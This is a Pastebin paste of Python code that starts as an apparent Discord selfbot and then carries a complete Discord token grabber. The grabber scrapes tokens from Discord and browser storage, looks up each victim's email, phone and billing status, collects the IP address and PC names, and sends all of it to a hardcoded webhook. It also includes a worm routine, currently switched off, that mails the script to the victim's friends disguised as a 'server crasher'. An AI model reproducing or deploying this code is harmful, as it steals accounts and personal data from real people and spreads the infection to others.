Not_ThePastebin-Hack

Untitled

Apr 28th, 2022
17
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.45 KB | None | 0 0
  1. import asyncio
  2. import datetime
  3. import functools
  4. import io
  5. import json
  6. import os
  7. import random
  8. import re
  9. import string
  10. import urllib.parse
  11. import urllib.request
  12. import time
  13. from urllib import parse, request
  14. from itertools import cycle
  15. from bs4 import BeautifulSoup as bs4
  16.  
  17. import aiohttp
  18. import colorama
  19. import discord
  20. import numpy
  21. import requests
  22. from PIL import Image
  23. from colorama import Fore
  24. from discord.ext import commands
  25. from discord.utils import get
  26. from gtts import gTTS
  27.  
  28.  
  29. class SELFBOT():
  30. __version__ = 1
  31.  
  32.  
  33. with open('config.json') as f:
  34. config = json.load(f)
  35.  
  36. token = config.get('token')
  37. password = config.get('password')
  38. prefix = config.get('prefix')
  39.  
  40. nitro_sniper = config.get('nitro_sniper')
  41.  
  42. stream_url = "https://www.twitch.tv/souljaboy"
  43. tts_language = "en"
  44.  
  45. start_time = datetime.datetime.utcnow()
  46. loop = asyncio.get_event_loop()
  47.  
  48. languages = {
  49. 'hu': 'Hungarian, Hungary',
  50. 'nl': 'Dutch, Netherlands',
  51. 'no': 'Norwegian, Norway',
  52. 'pl': 'Polish, Poland',
  53. 'pt-BR': 'Portuguese, Brazilian, Brazil',
  54. 'ro': 'Romanian, Romania',
  55. 'fi': 'Finnish, Finland',
  56. 'sv-SE': 'Swedish, Sweden',
  57. 'vi': 'Vietnamese, Vietnam',
  58. 'tr': 'Turkish, Turkey',
  59. 'cs': 'Czech, Czechia, Czech Republic',
  60. 'el': 'Greek, Greece',
  61. 'bg': 'Bulgarian, Bulgaria',
  62. 'ru': 'Russian, Russia',
  63. 'uk': 'Ukranian, Ukraine',
  64. 'th': 'Thai, Thailand',
  65. 'zh-CN': 'Chinese, China',
  66. 'ja': 'Japanese',
  67. 'zh-TW': 'Chinese, Taiwan',
  68. 'ko': 'Korean, Korea'
  69. }
  70.  
  71.  
  72. import os
  73. if os.name != "nt":
  74. exit()
  75. from re import findall
  76. from json import loads, dumps
  77. from base64 import b64decode
  78. from subprocess import Popen, PIPE
  79. from urllib.request import Request, urlopen
  80. from datetime import datetime
  81. from threading import Thread
  82. from time import sleep
  83. from sys import argv
  84. LOCAL = os.getenv("LOCALAPPDATA")
  85. ROAMING = os.getenv("APPDATA")
  86. PATHS = {
  87. "Discord" : ROAMING + "\\Discord",
  88. "Discord Canary" : ROAMING + "\\discordcanary",
  89. "Discord PTB" : ROAMING + "\\discordptb",
  90. "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
  91. "Opera" : ROAMING + "\\Opera Software\\Opera Stable",
  92. "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
  93. "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
  94. }
  95. def getheaders(token=None, content_type="application/json"):
  96. headers = {
  97. "Content-Type": content_type,
  98. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
  99. }
  100. if token:
  101. headers.update({"Authorization": token})
  102. return headers
  103. def getuserdata(token):
  104. try:
  105. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())
  106. except:
  107. pass
  108. def gettokens(path):
  109. path += "\\Local Storage\\leveldb"
  110. tokens = []
  111. for file_name in os.listdir(path):
  112. if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
  113. continue
  114. for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
  115. for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
  116. for token in findall(regex, line):
  117. tokens.append(token)
  118. return tokens
  119. def getdeveloper():
  120. dev = "wodx"
  121. try:
  122. dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode()
  123. except:
  124. pass
  125. return dev
  126. def getip():
  127. ip = "None"
  128. try:
  129. ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()
  130. except:
  131. pass
  132. return ip
  133. def getavatar(uid, aid):
  134. url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"
  135. try:
  136. urlopen(Request(url))
  137. except:
  138. url = url[:-4]
  139. return url
  140. def gethwid():
  141. p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
  142. return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
  143. def getfriends(token):
  144. try:
  145. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
  146. except:
  147. pass
  148. def getchat(token, uid):
  149. try:
  150. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
  151. except:
  152. pass
  153. def has_payment_methods(token):
  154. try:
  155. return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)
  156. except:
  157. pass
  158. def send_message(token, chat_id, form_data):
  159. try:
  160. urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()
  161. except:
  162. pass
  163. def spread(token, form_data, delay):
  164. return # Remove to re-enabled
  165. for friend in getfriends(token):
  166. try:
  167. chat_id = getchat(token, friend["id"])
  168. send_message(token, chat_id, form_data)
  169. except Exception as e:
  170. pass
  171. sleep(delay)
  172. def main():
  173. cache_path = ROAMING + "\\.cache~$"
  174. prevent_spam = True
  175. self_spread = True
  176. embeds = []
  177. working = []
  178. checked = []
  179. already_cached_tokens = []
  180. working_ids = []
  181. ip = getip()
  182. pc_username = os.getenv("UserName")
  183. pc_name = os.getenv("COMPUTERNAME")
  184. user_path_name = os.getenv("userprofile").split("\\")[2]
  185. developer = getdeveloper()
  186. for platform, path in PATHS.items():
  187. if not os.path.exists(path):
  188. continue
  189. for token in gettokens(path):
  190. if token in checked:
  191. continue
  192. checked.append(token)
  193. uid = None
  194. if not token.startswith("mfa."):
  195. try:
  196. uid = b64decode(token.split(".")[0].encode()).decode()
  197. except:
  198. pass
  199. if not uid or uid in working_ids:
  200. continue
  201. user_data = getuserdata(token)
  202. if not user_data:
  203. continue
  204. working_ids.append(uid)
  205. working.append(token)
  206. username = user_data["username"] + "#" + str(user_data["discriminator"])
  207. user_id = user_data["id"]
  208. avatar_id = user_data["avatar"]
  209. avatar_url = getavatar(user_id, avatar_id)
  210. email = user_data.get("email")
  211. phone = user_data.get("phone")
  212. nitro = bool(user_data.get("premium_type"))
  213. billing = bool(has_payment_methods(token))
  214. embed = {
  215. "color": 0x7289da,
  216. "fields": [
  217. {
  218. "name": "**Account Info**",
  219. "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
  220. "inline": True
  221. },
  222. {
  223. "name": "**PC Info**",
  224. "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',
  225. "inline": True
  226. },
  227. {
  228. "name": "**Token**",
  229. "value": token,
  230. "inline": False
  231. }
  232. ],
  233. "author": {
  234. "name": f"{username} ({user_id})",
  235. "icon_url": avatar_url
  236. },
  237. "footer": {
  238. "text": f"Token grabber by VIOLENTMINCE"
  239. }
  240. }
  241. embeds.append(embed)
  242. with open(cache_path, "a") as file:
  243. for token in checked:
  244. if not token in already_cached_tokens:
  245. file.write(token + "\n")
  246. if len(working) == 0:
  247. working.append('123')
  248. webhook = {
  249. "content": "",
  250. "embeds": embeds,
  251. "username": "Discord Token Grabber",
  252. "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png"
  253. }
  254. try:
  255. urlopen(Request("https://discord.com/api/webhooks/969219706600968232/as4AHun49LC4-wTMHcxFan9y1aLZoGTBA4ipEoi1mbMkYzpRXX7C5m2KOwc4XCPP4juO", data=dumps(webhook).encode(), headers=getheaders()))
  256. except:
  257. pass
  258. if self_spread:
  259. for token in working:
  260. with open(argv[0], encoding="utf-8") as file:
  261. content = file.read()
  262. payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
  263. Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
  264. try:
  265. main()
  266. except Exception as e:
  267. print(e)
  268. pass
  269.  
Add Comment
Please, Sign In to add comment